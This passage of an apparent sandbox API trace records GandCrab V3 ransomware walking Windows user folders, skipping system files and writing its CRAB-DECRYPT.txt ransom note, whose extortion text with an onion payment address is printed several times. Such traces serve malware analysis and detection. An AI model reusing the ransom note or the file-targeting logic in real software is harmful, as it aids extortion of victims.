\r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.921] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.922] CloseHandle (hObject=0x3d4) returned 1
	[0136.922] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.922] lstrlenW (lpString="C:\\Users\\Default\\Templates\\") returned 27
	[0136.922] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Templates\\*") returned="C:\\Users\\Default\\Templates\\*"
	[0136.922] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0136.923] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.923] lstrcmpW (lpString1="Videos", lpString2=".") returned 1
	[0136.923] lstrcmpW (lpString1="Videos", lpString2="..") returned 1
	[0136.923] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos"
	[0136.923] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\"
	[0136.923] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.923] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.923] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.923] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.923] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.923] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.923] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.924] lstrcmpiW (lpString1="C:\\Users\\Default\\Videos\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.924] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.924] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.924] lstrcmpiW (lpString1="C:\\Users\\Default\\Videos\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.924] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.924] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Videos\\\\CRAB-DECRYPT.txt") returned 41
	[0136.924] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\videos\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0136.924] GetLastError () returned 0x50
	[0136.924] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.925] lstrlenW (lpString="C:\\Users\\Default\\Videos\\") returned 24
	[0136.925] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Videos\\*") returned="C:\\Users\\Default\\Videos\\*"
	[0136.925] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3247f70
	[0136.925] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.925] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.925] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.925] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.925] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.925] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.925] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.925] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\Videos\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\Videos\\CRAB-DECRYPT.txt"
	[0136.925] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.925] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\Videos\\CRAB-DECRYPT.txt") returned 40
	[0136.925] lstrlenW (lpString="C:\\Users\\Default\\Videos\\CRAB-DECRYPT.txt") returned 40
	[0136.925] lstrlenW (lpString=".txt") returned 4
	[0136.925] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.926] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.926] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.926] lstrlenW (lpString="C:\\Users\\Default\\Videos\\CRAB-DECRYPT.txt") returned 40
	[0136.926] lstrlenW (lpString="C:\\Users\\Default\\Videos\\CRAB-DECRYPT.txt") returned 40
	[0136.926] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.926] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.926] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.926] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.926] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.926] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.926] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.926] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.926] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.926] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.927] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.927] FindClose (in: hFindFile=0x3247f70 | out: hFindFile=0x3247f70) returned 1
	[0136.927] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0
	[0136.927] FindClose (in: hFindFile=0x3248f30 | out: hFindFile=0x3248f30) returned 1
	[0136.927] FindNextFileW (in: hFindFile=0xd804e0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0136.927] lstrcmpW (lpString1="Default User", lpString2=".") returned 1
	[0136.927] lstrcmpW (lpString1="Default User", lpString2="..") returned 1
	[0136.927] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User"
	[0136.927] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\"
	[0136.927] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.927] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.928] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314df60, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.928] lstrcmpiW (lpString1="C:\\Users\\Default User\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.928] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d748, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.928] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.928] lstrcmpiW (lpString1="C:\\Users\\Default User\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.928] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.928] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default User\\\\CRAB-DECRYPT.txt") returned 39
	[0136.928] CreateFileW (lpFileName="C:\\Users\\Default User\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default user\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0136.929] GetLastError () returned 0x50
	[0136.929] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.929] lstrlenW (lpString="C:\\Users\\Default User\\") returned 22
	[0136.929] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="*" | out: lpString1="C:\\Users\\Default User\\*") returned="C:\\Users\\Default User\\*"
	[0136.929] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0xffffffff
	[0136.929] FindNextFileW (in: hFindFile=0xd804e0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0136.929] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0136.929] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0136.929] lstrcatW (in: lpString1="C:\\Users\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\desktop.ini") returned="C:\\Users\\desktop.ini"
	[0136.929] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.930] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\desktop.ini") returned 20
	[0136.930] lstrlenW (lpString="C:\\Users\\desktop.ini") returned 20
	[0136.930] lstrlenW (lpString=".ini") returned 4
	[0136.930] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.930] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0136.930] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.930] lstrlenW (lpString="C:\\Users\\desktop.ini") returned 20
	[0136.930] lstrlenW (lpString="C:\\Users\\desktop.ini") returned 20
	[0136.930] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0136.930] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.931] FindNextFileW (in: hFindFile=0xd804e0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0136.931] lstrcmpW (lpString1="Public", lpString2=".") returned 1
	[0136.931] lstrcmpW (lpString1="Public", lpString2="..") returned 1
	[0136.931] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0136.931] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\"
	[0136.931] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.931] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314df60, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.931] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.931] lstrcmpiW (lpString1="C:\\Users\\Public\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d748, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.932] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.932] lstrcmpiW (lpString1="C:\\Users\\Public\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.932] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.932] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\\\CRAB-DECRYPT.txt") returned 33
	[0136.932] CreateFileW (lpFileName="C:\\Users\\Public\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0
	[0136.933] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.933] WriteFile (in: hFile=0x3b0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314df44, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314df44*=0xcce, lpOverlapped=0x0) returned 1
	[0136.934] CloseHandle (hObject=0x3b0) returned 1
	[0136.934] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.934] lstrlenW (lpString="C:\\Users\\Public\\") returned 16
	[0136.934] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\*") returned="C:\\Users\\Public\\*"
	[0136.934] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0x3248f30
	[0136.934] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.934] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.934] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.934] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.934] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.934] lstrcmpW (lpString1="AccountPictures", lpString2=".") returned 1
	[0136.934] lstrcmpW (lpString1="AccountPictures", lpString2="..") returned 1
	[0136.934] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures"
	[0136.935] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\"
	[0136.935] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.935] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.935] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.935] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.935] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.935] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.935] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.935] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.935] lstrcmpiW (lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.935] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.935] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.935] lstrcmpiW (lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.935] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.936] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\AccountPictures\\\\CRAB-DECRYPT.txt") returned 49
	[0136.936] CreateFileW (lpFileName="C:\\Users\\Public\\AccountPictures\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\accountpictures\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.937] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.937] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.938] CloseHandle (hObject=0x3d4) returned 1
	[0136.938] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.938] lstrlenW (lpString="C:\\Users\\Public\\AccountPictures\\") returned 32
	[0136.938] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*") returned="C:\\Users\\Public\\AccountPictures\\*"
	[0136.939] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3248270
	[0136.940] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.940] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.940] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.940] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.940] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.940] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.941] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.941] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Public\\AccountPictures\\CRAB-DECRYPT.txt") returned="C:\\Users\\Public\\AccountPictures\\CRAB-DECRYPT.txt"
	[0136.941] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.941] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\AccountPictures\\CRAB-DECRYPT.txt") returned 48
	[0136.941] lstrlenW (lpString="C:\\Users\\Public\\AccountPictures\\CRAB-DECRYPT.txt") returned 48
	[0136.941] lstrlenW (lpString=".txt") returned 4
	[0136.941] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.941] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.941] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.942] lstrlenW (lpString="C:\\Users\\Public\\AccountPictures\\CRAB-DECRYPT.txt") returned 48
	[0136.942] lstrlenW (lpString="C:\\Users\\Public\\AccountPictures\\CRAB-DECRYPT.txt") returned 48
	[0136.942] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.942] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.942] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.942] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.942] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.942] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.942] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.942] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.942] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.942] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.942] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.942] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0136.942] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0136.942] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\Public\\AccountPictures\\desktop.ini") returned="C:\\Users\\Public\\AccountPictures\\desktop.ini"
	[0136.942] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.942] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\AccountPictures\\desktop.ini") returned 43
	[0136.943] lstrlenW (lpString="C:\\Users\\Public\\AccountPictures\\desktop.ini") returned 43
	[0136.943] lstrlenW (lpString=".ini") returned 4
	[0136.943] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.943] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
